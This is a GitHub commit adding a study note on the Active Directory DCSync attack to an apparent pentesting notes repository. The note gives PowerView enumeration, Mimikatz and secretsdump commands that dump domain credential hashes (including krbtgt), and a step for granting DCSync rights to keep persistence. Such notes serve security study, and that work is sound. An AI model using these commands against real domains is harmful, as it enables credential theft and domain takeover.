Skip to content

Commit 04cac97

Browse files
committed
Added DCSync
1 parent 8e92f39 commit 04cac97

File tree

2 files changed

+35
-0
lines changed

2 files changed

+35
-0
lines changed
Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
# Overview
2+
The DCSync attack simulates the behaviour of a Domain Controller and asks other Domain Controllers to replicate information using the Directory Replication Service Remote Protocol (MS-DRSR). Because MS-DRSR is a valid and necessary function of Active Directory, it cannot be turned off or disabled.
3+
4+
## Prerequisites
5+
- Having the following permission: **Replicate Directory Changes**, **Replicate Directory Changes All**
6+
7+
# Enumeration
8+
Check permission with [*PowerView](https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon)
9+
```powershell
10+
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}
11+
```
12+
13+
# Exploit
14+
## Local
15+
```powershell
16+
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
17+
```
18+
19+
## Remote
20+
```bash
21+
secretsdump.py -just-dc <USER>:<PASSWORD>@<IP> -outputfile <OUTPUT.txt>
22+
```
23+
24+
25+
# Persistence
26+
If you are a *domain admin*, you can grant DCSync rights to anyone using [*PowerView](https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon)
27+
```powershell
28+
Add-ObjectAcl -TargetDistinguishedName "dc=company,dc=corp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose
29+
```
30+
31+
# References
32+
- [https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html)
33+
- [https://www.semperis.com/blog/dcsync-attack/](https://www.semperis.com/blog/dcsync-attack/)
34+
- [*PowerView](https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon)

Windows Hardening/Windows Hardening.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -40,6 +40,7 @@
4040
- Active Directory
4141
- [[Enumeration Tools]]
4242
- [[LAPS]]
43+
- [[DCSync]]
4344
- Lateral Movement
4445
- [[DCOM]]
4546
- [[AV Evasion]]

0 commit comments

Comments
 (0)